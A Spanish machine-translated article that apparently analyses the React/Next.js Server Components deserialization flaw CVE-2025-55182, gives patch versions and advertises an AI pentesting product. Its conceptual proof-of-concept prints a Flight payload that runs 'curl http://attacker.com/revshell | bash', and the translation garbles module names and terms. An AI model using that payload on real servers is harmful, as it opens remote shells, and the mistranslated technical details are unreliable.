Introducción: El colapso de la frontera cliente-servidor
A finales de 2025 se produjo un cambio de paradigma en la seguridad web. Para los arquitectos de seguridad y los probadores de penetración, CVE-2025-55182 (y su variante Next.js CVE-2025-66478) representa uno de los vectores de ataque más sofisticados de la historia reciente.
No se trata de un simple error de desinfección. Es un fallo fundamental en la lógica de "Server-Side Rendering (RSC)". Permite a los atacantes no autenticados explotar el Vulnerabilidad de ejecución remota de código en componentes de servidor React/Next.js manipulando el protocolo de comunicación propietario utilizado por el framework, eludiendo las defensas tradicionales para ejecutar código arbitrario en el servidor.
Este artículo despoja a los ingenieros de seguridad de élite de la palabrería de marketing para ofrecer un análisis binario de la vulnerabilidad.
El mecanismo central: Deconstrucción del protocolo de "huida
Para explotar CVE-2025-55182, hay que entender cómo se comunican React 19 y Next.js 14+. A diferencia de REST/GraphQL tradicional, RSC utiliza un formato de texto en streaming conocido como. "Protocolo "Vuelo.
La estructura de la carga útil de vuelo
Cuando se inspecciona el tráfico de red en una aplicación Next.js moderna, la función Carga útil RSC parece críptico pero sigue una sintaxis estricta:
JavaScript
// Fragmento típico de protocolo de vuelo 1:I["./src/components/ClientComponent.js",["chunks/main.js"], "default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}
1:I: Denota un Importar. Indica al cliente/servidor que cargue un módulo específico.$: Denota una Referencia.$1remite al módulo definido en la línea 1.$S: Indica símbolos especiales de React.
Causa raíz: Deserialización ciega
El corazón de CVE-2025-55182 radica en la gestión por parte del servidor de los mensajes entrantes de cliente a servidor (acciones del servidor). El sitio DOM del servidor React confía implícitamente en el flujo Flight entrante.
Cuando un cliente activa una acción del servidor, serializa los argumentos en el formato Flight. El servidor recibe esto y llama a métodos internos (como resolveServerReference) a deserializar el arroyo.
El defecto fatal:
El deserializador falla al validar si la ruta del módulo en la instrucción I (Import) está en la lista blanca. Esto permite a un atacante cambiar una ruta benigna como ./src/button.js por un módulo interno del núcleo de Node.js (por ejemplo, child_process) o cualquier otra biblioteca presente en node_modules.
Reproducción y análisis de vulnerabilidades (PdC conceptual)
Cláusula de exención de responsabilidad: Esta sección sólo tiene fines educativos de investigación y defensa.
Una sofisticada cadena de ataques procede de la siguiente manera:
Paso 1: Reconocimiento
El atacante identifica los puntos finales RSC, a menudo observando las peticiones a /_next/static/chunks/app/page.js o analizando la Acción siguiente en las solicitudes POST.
Paso 2: Arma de la carga útil
El atacante crea un flujo Flight personalizado. En lugar de elementos de interfaz legítimos, inyectan un archivo Cadena de artilugios.
Lógica de carga útil:
| Solicitud estándar | Solicitud maliciosa (RCE Payload) |
|---|---|
Ref: 1:I["./component.js"] | Ref: 1:I["nodo:proceso_hijo"] |
Acción: Renderizar UI | Acción: Ejecutar función exportada |
HTTP
`POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action:
// Representación en pseudocódigo de la inyección 1:I["nodo:proceso_hijo", [], "execSync"] 2:{"comando": "curl http://attacker.com/revshell | bash", "args": "$1"}`
Paso 3: Ejecución
- El servidor deserializa
I["nodo:proceso_hijo"]. - Ejecuta
require("proceso_niño")en el contexto del servidor. - Invoca
execSynccon los argumentos del atacante. - RCE Conseguido.
Por qué fallan las herramientas de seguridad tradicionales (WAF/DAST)
Para el ingeniero de seguridad curtido, detectar esto es una pesadilla.
- Obscuridad del protocolo: Los WAF ven las cargas de vuelo como texto no estructurado. Las reglas regex SQLi o XSS estándar no se activarán en una cadena de importación de módulo como
1:I. - Exposición por defecto: Incluso si un desarrollador utiliza Next.js solo para la generación estática, la inclusión de la biblioteca RSC a menudo expone los puntos finales de deserialización vulnerables de forma predeterminada.
Este es un ejemplo de libro de texto de Vulnerabilidad de la cadena de suministro-el fallo está en el framework, no en tu lógica de negocio.
Defensa avanzada y el papel de la IA agéntica
Remediación inmediata
Los parches son obligatorios. No confíe en middleware de "sanitización", ya que el protocolo es demasiado complejo para analizarlo de forma fiable con regex.
- Reaccione: Actualizar a 19.2.1.
- Siguiente.js: Actualizar a 14.2.21, 15.1.2o la última versión de Canary.
El futuro de las pruebas de penetración: Inteligencia Artificial
Enfrentarse a vulnerabilidades como CVE-2025-55182 que explotan la lógica de protocolos propietarios, los escáneres tradicionales están obsoletos. No pueden "entender" el Vuelo, ni construir flujos lógicamente válidos pero maliciosos.
Aquí es donde Penligent.ai crea una nueva categoría de defensa. Como plataforma impulsada por Inteligencia ArtificialPenligent ofrece capacidades que los equipos humanos tienen dificultades para ampliar:
- Protocolo de comprensión semántica: Los agentes de IA de Penligent analizan la especificación de React Flight de forma dinámica. Entienden la sintaxis de las referencias a módulos frente a los props de datos.
- Fuzzing lógico adaptativo: Los agentes generan miles de cargas útiles mutadas, sondeando específicamente las condiciones límite del deserializador para encontrar patrones de acceso a módulos no autorizados.
- Verificación automatizada: Penligent va más allá de señalar un "problema potencial". Intenta construir cadenas de prueba de concepto seguras y no destructivas para verificar si el RCE es realmente posible, eliminando los falsos positivos.
Para las empresas que protegen infraestructuras críticas, desplegar Penligent.ai proporciona capacidades de red-teaming continuas e inteligentes que evolucionan más rápido que los atacantes.
Conclusión
CVE-2025-55182 es más que un error; es una consecuencia de la difusa línea entre cliente y servidor en el desarrollo web moderno. A medida que buscamos un mayor rendimiento a través de RSC, la superficie de ataque se expande a la capa de serialización de datos.
Para los ingenieros de seguridad, dominar el protocolo Flight es ahora un requisito. Audite sus dependencias, aplique parches de inmediato y considere la validación de seguridad basada en IA para mantenerse a la vanguardia.
Referencias de autoridad:
